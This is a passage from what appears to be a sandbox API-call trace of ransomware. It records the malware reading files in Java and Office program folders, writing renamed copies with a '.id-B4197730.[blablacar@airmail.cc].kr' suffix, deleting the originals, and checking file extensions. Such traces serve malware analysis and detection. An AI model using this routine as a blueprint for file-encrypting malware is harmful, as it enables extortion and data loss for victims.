(lpString="jvm.hprof.txt") returned 13 [0095.230] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0095.829] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4226) returned 1 [0095.829] CloseHandle (hObject=0x2b4) returned 1 [0095.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0095.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.829] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0095.829] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.829] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.829] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0095.830] GetLastError () returned 0x0 [0095.830] ReadFile (in: hFile=0x2b4, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x1082, lpOverlapped=0x0) returned 1 [0095.833] WriteFile (in: hFile=0x328, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x1090, lpOverlapped=0x0) returned 1 [0095.834] ReadFile (in: hFile=0x2b4, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0095.834] WriteFile (in: hFile=0x328, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xee, lpOverlapped=0x0) returned 1 [0095.834] SetEndOfFile (hFile=0x328) returned 1 [0095.834] CloseHandle (hObject=0x328) returned 1 [0095.835] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.835] SetEndOfFile (hFile=0x2b4) returned 1 [0095.836] CloseHandle (hObject=0x2b4) returned 1 [0095.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.837] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1 [0095.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0095.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0095.837] lstrlenW (lpString=".doc") returned 4 [0095.837] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0095.837] lstrlenW (lpString=".docx") returned 5 [0095.837] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0095.837] lstrlenW (lpString=".pdf") returned 4 [0095.837] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0095.837] lstrlenW (lpString=".xls") returned 4 [0095.838] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0095.838] lstrlenW (lpString=".xlsx") returned 5 [0095.838] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0095.838] lstrlenW (lpString=".ppt") returned 4 [0095.838] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0095.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0095.838] lstrlenW (lpString=".zip") returned 4 [0095.838] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0095.838] lstrlenW (lpString=".rar") returned 4 [0095.838] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0095.838] lstrlenW (lpString=".bz2") returned 4 [0095.838] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0095.838] lstrlenW (lpString=".7z") returned 3 [0095.838] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0095.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0095.838] lstrlenW (lpString=".dbf") returned 4 [0095.838] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0095.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0095.838] lstrlenW (lpString=".1cd") returned 4 [0095.838] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0095.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0095.838] lstrlenW (lpString=".jpg") returned 4 [0095.838] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0095.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0095.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0095.838] lstrlenW (lpString=".doc") returned 4 [0095.838] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0095.838] lstrlenW (lpString=".docx") returned 5 [0095.838] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0095.839] lstrlenW (lpString=".pdf") returned 4 [0095.839] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0095.839] lstrlenW (lpString=".xls") returned 4 [0095.839] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0095.839] lstrlenW (lpString=".xlsx") returned 5 [0095.839] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0095.839] lstrlenW (lpString=".ppt") returned 4 [0095.839] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0095.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0095.839] lstrlenW (lpString=".zip") returned 4 [0095.839] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0095.839] lstrlenW (lpString=".rar") returned 4 [0095.839] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0095.839] lstrlenW (lpString=".bz2") returned 4 [0095.839] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0095.839] lstrlenW (lpString=".7z") returned 3 [0095.839] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0095.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0095.839] lstrlenW (lpString=".dbf") returned 4 [0095.839] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0095.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0095.839] lstrlenW (lpString=".1cd") returned 4 [0095.839] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0095.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0095.839] lstrlenW (lpString=".jpg") returned 4 [0095.839] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0095.839] lstrcmpiW (lpString1=".VBS", lpString2=".kr") returned 1 [0095.840] lstrlenW (lpString="OSPP.VBS") returned 8 [0095.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0095.840] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=94467) returned 1 [0095.840] CloseHandle (hObject=0x2b4) returned 1 [0095.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0095.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0095.841] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.841] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0095.841] GetLastError () returned 0x0 [0095.841] ReadFile (in: hFile=0x2b4, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x17103, lpOverlapped=0x0) returned 1 [0095.846] WriteFile (in: hFile=0x328, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x17110, lpOverlapped=0x0) returned 1 [0095.848] ReadFile (in: hFile=0x2b4, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0095.849] WriteFile (in: hFile=0x328, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xe4, lpOverlapped=0x0) returned 1 [0095.849] SetEndOfFile (hFile=0x328) returned 1 [0095.849] CloseHandle (hObject=0x328) returned 1 [0095.851] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.851] SetEndOfFile (hFile=0x2b4) returned 1 [0095.854] CloseHandle (hObject=0x2b4) returned 1 [0095.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1 [0095.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0095.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0095.854] lstrlenW (lpString=".doc") returned 4 [0095.854] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0095.854] lstrlenW (lpString=".docx") returned 5 [0095.854] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0095.854] lstrlenW (lpString=".pdf") returned 4 [0095.854] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0095.854] lstrlenW (lpString=".xls") returned 4 [0095.854] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0095.854] lstrlenW (lpString=".xlsx") returned 5 [0095.855] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0095.855] lstrlenW (lpString=".ppt") returned 4 [0095.855] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0095.855] lstrlenW (lpString=".zip") returned 4 [0095.855] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0095.855] lstrlenW (lpString=".rar") returned 4 [0095.855] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0095.855] lstrlenW (lpString=".bz2") returned 4 [0095.855] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0095.855] lstrlenW (lpString=".7z") returned 3 [0095.855] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0095.855] lstrlenW (lpString=".dbf") returned 4 [0095.855] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0095.855] lstrlenW (lpString=".1cd") returned 4 [0095.855] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0095.855] lstrlenW (lpString=".jpg") returned 4 [0095.855] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0095.855] lstrlenW (lpString=".doc") returned 4 [0095.855] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0095.855] lstrlenW (lpString=".docx") returned 5 [0095.855] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0095.856] lstrlenW (lpString=".pdf") returned 4 [0095.856] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0095.856] lstrlenW (lpString=".xls") returned 4 [0095.856] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0095.856] lstrlenW (lpString=".xlsx") returned 5 [0095.856] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0095.856] lstrlenW (lpString=".ppt") returned 4 [0095.856] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0095.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0095.856] lstrlenW (lpString=".zip") returned 4 [0095.856] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0095.856] lstrlenW (lpString=".rar") returned 4 [0095.856] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0095.856] lstrlenW (lpString=".bz2") returned 4 [0095.856] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0095.856] lstrlenW (lpString=".7z") returned 3 [0095.856] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0095.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0095.856] lstrlenW (lpString=".dbf") returned 4 [0095.856] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0095.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0095.856] lstrlenW (lpString=".1cd") returned 4 [0095.856] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0095.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0095.857] lstrlenW (lpString=".jpg") returned 4 [0095.857] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0095.857] lstrcmpiW (lpString1=".XML", lpString2=".kr") returned 1 [0095.857] lstrlenW (lpString="SLERROR.XML") returned 11 [0095.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0095.857] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=36336) returned 1 [0095.857] CloseHandle (hObject=0x2b4) returned 1 [0095.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0095.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0095.857] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.858] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0095.858] GetLastError () returned 0x0 [0095.858] ReadFile (in: hFile=0x2b4, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x8df0, lpOverlapped=0x0) returned 1 [0095.860] WriteFile (in: hFile=0x328, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x8e00, lpOverlapped=0x0) returned 1 [0095.862] ReadFile (in: hFile=0x2b4, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0095.862] WriteFile (in: hFile=0x328, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xea, lpOverlapped=0x0) returned 1 [0095.862] SetEndOfFile (hFile=0x328) returned 1 [0095.862] CloseHandle (hObject=0x328) returned 1 [0095.867] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.867] SetEndOfFile (hFile=0x2b4) returned 1 [0095.868] CloseHandle (hObject=0x2b4) returned 1 [0095.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1 [0095.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0095.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0095.868] lstrlenW (lpString=".doc") returned 4 [0095.868] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.869] lstrlenW (lpString=".docx") returned 5 [0095.869] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0095.869] lstrlenW (lpString=".pdf") returned 4 [0095.869] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.869] lstrlenW (lpString=".xls") returned 4 [0095.869] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.869] lstrlenW (lpString=".xlsx") returned 5 [0095.869] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0095.869] lstrlenW (lpString=".ppt") returned 4 [0095.869] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0095.869] lstrlenW (lpString=".zip") returned 4 [0095.869] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.869] lstrlenW (lpString=".rar") returned 4 [0095.869] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.869] lstrlenW (lpString=".bz2") returned 4 [0095.869] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.869] lstrlenW (lpString=".7z") returned 3 [0095.869] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0095.869] lstrlenW (lpString=".dbf") returned 4 [0095.869] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0095.869] lstrlenW (lpString=".1cd") returned 4 [0095.869] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0095.869] lstrlenW (lpString=".jpg") returned 4 [0095.869] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0095.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0095.869] lstrlenW (lpString=".doc") returned 4 [0095.869] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.870] lstrlenW (lpString=".docx") returned 5 [0095.870] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0095.870] lstrlenW (lpString=".pdf") returned 4 [0095.870] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.870] lstrlenW (lpString=".xls") returned 4 [0095.870] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.870] lstrlenW (lpString=".xlsx") returned 5 [0095.870] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0095.870] lstrlenW (lpString=".ppt") returned 4 [0095.870] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0095.870] lstrlenW (lpString=".zip") returned 4 [0095.870] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.870] lstrlenW (lpString=".rar") returned 4 [0095.870] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.870] lstrlenW (lpString=".bz2") returned 4 [0095.870] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.870] lstrlenW (lpString=".7z") returned 3 [0095.870] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0095.870] lstrlenW (lpString=".dbf") returned 4 [0095.870] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0095.870] lstrlenW (lpString=".1cd") returned 4 [0095.870] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0095.870] lstrlenW (lpString=".jpg") returned 4 [0095.870] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.871] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0095.871] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53 [0095.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0096.791] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=387356) returned 1 [0096.791] CloseHandle (hObject=0x37c) returned 1 [0096.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0096.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0096.791] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0096.791] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0096.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 